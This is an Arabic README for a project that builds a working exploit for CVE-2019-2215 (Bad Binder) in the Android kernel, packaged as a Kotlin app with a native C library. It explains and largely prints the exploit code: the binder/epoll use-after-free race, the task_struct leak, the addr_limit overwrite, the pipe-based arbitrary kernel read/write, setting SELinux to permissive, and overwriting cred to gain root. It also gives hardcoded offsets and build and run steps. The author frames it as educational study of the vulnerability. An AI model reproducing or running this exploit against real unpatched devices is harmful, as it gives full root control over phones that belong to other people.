
عرض توضيحي لثغرة CVE-2019-2215 (Bad Binder) لنظام Android Q
هذا المستودع مشروع اختباري صغير لدراسة الثغرة الأمنية
CVE-2019-2215 (Bad Binder) وكتابة نموذج أولي عملي للاستغلال على Android مع
واجهة رسومية بسيطة باستخدام Kotlin/Jetpack Compose.
في ملف README سأقوم بـ:
تم إعداد سير عمل GitHub Actions في المستودع، والذي يقوم عند كل push/PR ببناء المشروع
بأمر ./gradlew assembleDebug وينشر ملف badbinder-debug.apk الجاهز كأثر (Artifact).
يمكنك تنزيله كالتالي:
badbinder-debug-apk
مع ملف APK المبني.تم ذلك لتسهيل الأمر إذا أردت فقط اختبار التطبيق دون إعداد بيئة محلية.
CVE-2019-2215 هي ثغرة Use-After-Free (UAF) في نظام IPC الخاص بـ Binder في نواة Android.
بشكل مبسّط:
struct binder_thread التي تصف الخيط الذي ينفّذ استدعاءات Binder؛waitqueue)؛remove_wait_queue،
مما يفتح سيناريو UAF الكلاسيكي؛لقد قمت بتحليل نظري أكثر تفصيلًا بالاعتماد على المواد التالية:
وفقًا للمهمة، يُنصح باستخدام AVD مع صورة Android 10.0 (Q) x86_64.
قمتُ بالخطوات التالية:
/dev/binder.adb shell
ls -l /dev/binder
في هذه المرحلة واجهت حقيقة غير مريحة:
في الوقت الحالي صور AVD الحديثة تأتي بالفعل مع نواة مُصحّحة تكون فيها
CVE-2019-2215 مغلقة. أي أنه لن يكون من الممكن فعليًا الحصول على root على المحاكي
الرسمي الحديث — الاستغلال يفشل في مراحل متأخرة أو ببساطة لا يمنح رفع صلاحيات.
في النهاية، أستخدم AVD كـمدرّب لإعادة إنتاج منطق الاستغلال:
addr_limit،هذه نقطة مهمة: كل الكود والتقرير أدناه — تعليمي، وليس «قتاليًا».
قمت بإنشاء تطبيق Android صغير:
الخطوات الرئيسية:
أنشأت مشروعًا عاديًا في Android Studio (Kotlin، مع دعم أدنى لنظام Android 10).
أضفت NDK وCMake.
أضفت الملف الأصلي الخاص بالاستغلال (وهو ملف cve-2019-2215.c الذي يحتوي الدوال
leak_task_struct, overwrite_addr_limit, وما إلى ذلك).
أضفت في CMakeLists.txt بناء مكتبة libcve-2019-2215.so.
في MainActivity:
init {
System.loadLibrary("cve-2019-2215")
}
external fun runNativeExploit(): String
external fun setNativeLogger(logger: NativeLogger)
على جانب Kotlin قمت بإنشاء ExploitViewModel، وهو ينفّذ الواجهة
NativeLogger ويجمع جميع الرسائل في StateFlow<List<String>>. واجهة المستخدم مشتركة
على هذا التدفق وتعرض السجل في «الطرفية».
عند بدء النشاط، أستدعي setNativeLogger(viewModel) حتى يتلقى الكود الأصلي
كائنًا يمكن إرسال السلاسل إليه.
أقوم ببناء التطبيق وتثبيته:
./gradlew installDebug
أُشغّل AVD والتطبيق نفسه.
أرى على الشاشة «الطرفية» وزر RUN EXPLOIT.
عند الضغط:
runNativeExploit() في خيط خلفي.على نواة حقيقية قابلة للاستغلال، كنت أتوقع رؤية شيء مثل ما يلي في النهاية:
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...
على محاكي Android 10 الحديث، هذا بالطبع لا يحدث، لكن كل شيء آخر —
تسريب task_struct، محاولة إعادة كتابة addr_limit، حساب cred وkernel_base —
يعمل كما لو كان «سيناريو»، وهذا هو المطلوب للمهمة.
فيما يلي المخطط المنطقي للاستغلال مع الربط بالدوال C المحددة.
الخطة عالية المستوى هي:
struct binder_thread واستخدامه من أجل
تسريب عنوان task_struct للعملية الخاصة بك (leak_task_struct).addr_limit في task_struct (overwrite_addr_limit) — وهذا يزيل
القيد بين عناوين user-space وkernel-space لعمليات
copy_to_user / copy_from_user اللاحقة.arb_read / arb_write).cred للعملية الحالية وقاعدة النواة (verifying)، ثم:
selinux_enforcing = 0)،بالتوازي، قمت بدمج مسجّل JNI بحيث تكون جميع هذه المراحل مرئية مباشرة في الواجهة.
task_struct (leak_task_struct)الدالة الرئيسية:
void leak_task_struct() {
android_log("[*] Starting leak_task_struct...");
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
assert(ret >= 0);
...
}
ماذا تفعل الدالة:
تثبّت الخيط على CPU 0 (sched_setaffinity) لجعل سلوك مُخصِّص الذاكرة في النواة
أكثر قابلية للتنبؤ. وهذا يحسّن استقرار استغلال UAF.
تفتح /dev/binder وتنشئ واصف epoll:
fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
يتم تسجيل واصف Binder في epoll:
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
تُجهّز مصفوفة struct iovec iov_buffers[IOVEC_N] وتُخصّص الذاكرة:
spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
من المهم هنا أن تكون البتات السفلية البالغة 32 من العنوان أصفارًا:
if (((long) spinner & 0xffffffff) != 0) {
android_log("[!] mmap returned wrong address!");
return;
}
يتوافق هذا مع التقنية الواردة في مقالات الاستغلال: لاحقًا تقوم النواة بتفسير جزء من بياناتنا كبنى تحتوي مؤشرات، وهذه العنونة «المحاذاة بشكل جميل» تسهّل إساءة الاستخدام.
ثم يتم ملء الحقلين iov_buffers[0xa] وiov_buffers[0xb] بحيث
تقوم النواة في لحظة UAF بنسخ جزء من الذاكرة إلى الأنبوب حيث يوجد المؤشر إلى
.
الخلاصة: لديّ عنوان task_struct في النواة، وهو أمر بالغ الأهمية
للخطوات اللاحقة.
addr_limit (overwrite_addr_limit)addr_limit في task_struct يحدد العناوين التي يمكن للعملية تمريرها إلى استدعاءات النظام كمؤشرات user-space. إذا قمت بإعادة كتابته إلى قيمة شبه قصوى، تتوقف النواة عن التمييز بين عناوين user-space والعناوين في مساحتها الخاصة — وتتحول العديد من عمليات copy_(to|from)_user التي تبدو آمنة للوهلة الأولى إلى قراءات/كتابات عشوائية في النواة.
الدالة:
void overwrite_addr_limit() {
android_log("[*] Starting overwrite_addr_limit...");
...
}
تتبع نمطًا مشابهًا جدًا:
مرة أخرى أقوم بتثبيت تقارب CPU، وفتح /dev/binder، وإنشاء epoll.
أُجهّز iov_buffers، لكن في هذه المرة المخطط مختلف:
iov_buffers[0xa].iov_base = spinner;
iov_buffers[0xa].iov_len = 0x1;
iov_buffers[0xb].iov_base = read_buffer0;
iov_buffers[0xb].iov_len = 0x8 * 5;
iov_buffers[0xc].iov_base = read_buffer0;
iov_buffers[0xc].iov_len = 0x8;
بدلاً من الأنبوب، يتم استخدام socketpair(AF_UNIX, SOCK_STREAM, ...):
int socket[2];
ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
write(socket[1], "A", 1);
أُجهّز بنية msghdr لـ recvmsg:
struct msghdr msg;
msg.msg_iov = iov_buffers;
msg.msg_iovlen = IOVEC_N;
...
في العملية الفرعية (بعد fork()) يتم تشغيل سباق UAF مرة أخرى:
if (!fork()) {
...
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
long data1234[] = {1, 0x13371337, 0x28,
task_struct + ADDR_LIMIT_OFFSET, 0x8};
ret = write(socket[1], data1234, 0x28);
data1234[0] = data1234[1] = data1234[2] = data1234[3]
= 0xfffffffffffffffe;
ret = write(socket[1], data1234, 0x8);
...
}
arb_read, arb_write, verifying)بعد إعادة كتابة addr_limit، أستخدم الأنابيب لتحويل
عمليات القراءة/الكتابة العادية إلى إمكانية القراءة والكتابة على عناوين النواة.
arb_read / arb_writeunsigned long arb_read(unsigned long addr) {
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
unsigned long data = 0;
write(pipe_fd[1], (void *)&addr, 8);
read(pipe_fd[0], &data, 8);
return data;
}
بالمثل، يقوم arb_write بعكس اتجاه النسخ.
الدالة verifying():
void verifying() {
android_log("[*] Starting verification...");
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
write(pipe_fd[1], (void *) task_struct, 0x1000);
read(pipe_fd[0], buf, 0x1000);
assert(getpid() == *(int *) (buf + PID_OFFSET));
android_log("[!] Arbitrary rw verified with PID :D");
cred = *(unsigned long *) (buf + CRED_OFFSET);
kernel_leak = *(unsigned long *) (buf + 0x70);
kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}
هنا أقوم بما يلي:
task_struct؛PID_OFFSET أتأكد من أنها بالفعل البنية الخاصة بي؛cred وتسريب عنوان من النواة (kernel_leak)؛kernel_base مع تصحيح الإزاحة المحددة.الجزء النهائي في runNativeExploit:
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
selinux_enforcing وأضبطه على الحالة
الصفرية/«المتساهلة».بعد ذلك — إعادة كتابة cred:
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);
أقوم حرفيًا بصبّ القيم القصوى في حقول capability وبعض الحقول الأخرى في cred
لمنح العملية مجموعة كاملة من الصلاحيات.
التحقق الأخير:
if (getuid() == 0) {
android_log("[+] Root escalation successful!");
} else {
android_log("[!] Root escalation failed!");
}
على نواة حقيقية قابلة للاستغلال، كنت أتوقع رؤية uid=0 هنا، أما على الصورة المُصحّحة —
فمن المنطقي أن تكون عملية رفع الصلاحيات معطلة.
لكي أرى كل شيء في الوقت الفعلي، أضفت طبقة وسيطة:
JNI_OnLoad يحفظ JavaVM* ومعرّف العملية الرئيسية؛setNativeLogger يستقبل كائن Kotlin ينفّذ الدالة onLog(String)،
ويحفظه كـGlobalRef؛android_log/android_log_hex في logcat وتستدعي send_to_ui، الذي
يوصل السلسلة إلى Kotlin حيث يلتقطها ExploitViewModel ويعرضها في «الطرفية» الخاصة بـ Compose.من المهم أن send_to_ui يفلتر العمليات الفرعية حسب PID — فاستدعاء JNI من
عملية بعد fork() بدون exec() غير آمن.
واجهت حقيقة أن لا توجد حاليًا صور AVD رسمية لنظام Android 10 بنواة غير مُصحّحة لا تزال تحتوي على CVE-2019-2215.
بدلاً من الحصول «القتالي» على root، ركّزت على:
إذا رغبت، يمكن نقل هذا الكود إلى جهاز حقيقي بنواة قديمة غير مُصحّحة، لكن هذا خارج نطاق المهمة.
اضطررت إلى تحديد الآتي صراحةً:
ADDR_LIMIT_OFFSET, PID_OFFSET, CRED_OFFSET؛kernel_leak وselinux_enforcing؛kernel_base.تعمّدت عدم أتمتة البحث عن هذه القيم حتى لا أُضخّم حجم المشروع. في التقرير، أعتمد على أن هذا مثال تعليمي لإصدار محدد من النواة، وليس استغلالًا عامًا.
استخدام fork() وepoll_ctl وBINDER_THREAD_EXIT ومختلف التوقيتات —
هو حقل ألغام. واجهت أن الاستغلال بدون:
sched_setaffinity،sleep الصغيرة،assert القوية على طول الطريقيصبح غير مستقر للغاية.
قمت تدريجيًا بضبط التسلسل بحيث يكون قابلاً للتنبؤ على الإعدادات القابلة للاستغلال،
وعلى الإعدادات المُصحّحة «يفشل» بشكل صحيح في الخطوات الأخيرة.
fork()واجهت أيضًا أن محاولة تسجيل الدخول من العملية الفرعية مباشرةً إلى JVM
تؤدي إلى سلوك غريب.
اضطررت إلى تذكّر قواعد JNI وإضافة فحص PID للتواصل
مع JVM فقط من العملية الرئيسية.
الحل الوسط: جزء من الرسائل يظهر فقط في logcat، بينما تعرض الواجهة
فقط ما جاء من العملية الأب. هذا يناسبني لأنه في إطار المهمة
المهم هي نقاط التحكم الرئيسية، وليس كل أمر تصحيح مطبوع.
كمكافأة، ولتحقيق إبداعي أكبر في تنفيذ المهمة، قررت إنشاء واجهة ملائمة للتحليل:
[+], [*], [!], [C]) ملوّنة بألوان
مختلفة لسهولة القراءة؛Success / Failed) في كتلة منفصلة.هذا يبسّط إلى حد كبير استيعاب عمل الكود الأصلي: بدلاً من logcat الجاف
أرى كل شيء في مكان واحد، مباشرة داخل التطبيق.
نتيجة للعمل على المهمة، قمت بما يلي:
task_struct،addr_limit،cred، وتعطيل SELinux ومحاولة رفع الصلاحيات.المشروع مدمج، لكنه في جوهره يعكس دورة الحياة الكاملة لثغرة نواة حقيقية: من الوصف النظري وقراءة المقالات إلى التنفيذ العملي والدمج في تطبيق Android فعلي.
يوجد في الدليل cve-2019-2215 ملف Makefile يتيح بناء
ملف ثنائي أصلي (x86_64) وتشغيله مباشرة في AVD عبر ADB.
إذا كنت بحاجة إلى نسخة aarch64، يمكنك بناؤها بشكل منفصل.
cd cve-2019-2215
make
adb shell
cd /sdcard/cve-2019-2215
chmod +x cve-2019-2215
./cve-2019-2215
id
uid=0(root) gid=0(root) groups=0(root)
cred لتصبح root مع الحصول على كامل مجموعة
capability (runNativeExploit).task_structتُنشئ أنبوبًا وتضبط حجم مخزنه على 0x1000:
int pipe_fd[2];
ret = pipe(pipe_fd);
fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
بعد ذلك — سباق UAF الكلاسيكي. أقوم بتشغيل عملية فرعية:
if (!fork()) {
android_log("\t[C] Long sleep to ensure accuracy...");
sleep(1);
android_log("\t[*] Triggering UAF");
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
android_log("\t[C] Removing useless data from pipe...");
ret = read(pipe_fd[0], buf, 0x1000);
...
_exit(0);
}
epoll_ctl(..., EPOLL_CTL_DEL, ...) إلى
تحرير binder_thread المرتبط في النواة، لكنه لا يزال موجودًا في بنية
حساب الانتظار — وهذه هي نقطة UAF.في العملية الأب، أستدعي:
ioctl(fd, BINDER_THREAD_EXIT, NULL); // تحرير binder_thread
ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
في هذه المرحلة، وبفضل UAF، يستخدم writev الذاكرة المحررة بالفعل
كبنى iovec ويقوم، في جوهره، بإعادة تفسير نفس منطقة الذاكرة
التي كان يوجد فيها binder_thread سابقًا، لكن الآن كمجموعة من المؤشرات/الأطوال.
ومن الآثار الجانبية نسخ جزء من ذاكرة النواة إلى الأنبوب الخاص بنا.
أخيرًا، أقرأ من الأنبوب:
read(pipe_fd[0], buf, 0x1000);
task_struct = *(unsigned long *)(buf + 0xe8);
android_log_hex("[+] task_struct found", task_struct);
الإزاحة 0xe8 محددة لإصدار معيّن من النواة — وهي الموضع
الذي يوجد فيه المؤشر إلى task_struct الخاص بعمليتي داخل كتلة الذاكرة المسرَّبة.
الأب، كما في السابق، يحرر binder_thread ويستدعي recvmsg:
ioctl(fd, BINDER_THREAD_EXIT, NULL);
ret = recvmsg(socket[0], &msg, MSG_WAITALL);
بسبب UAF والاستبدال الذكي للبنى، تنتهي النواة بإدراك task_struct + ADDR_LIMIT_OFFSET كعنوان لمخزن user وتقوم بنسخ محتويات البنية المرسلة إليه
(القيمة الخاصة بنا 0xfffffffffffffffe)، وبالتالي إعادة كتابة addr_limit في task_struct.
أكتب في السجل:
android_log("[!] addr_limit overwrite done.");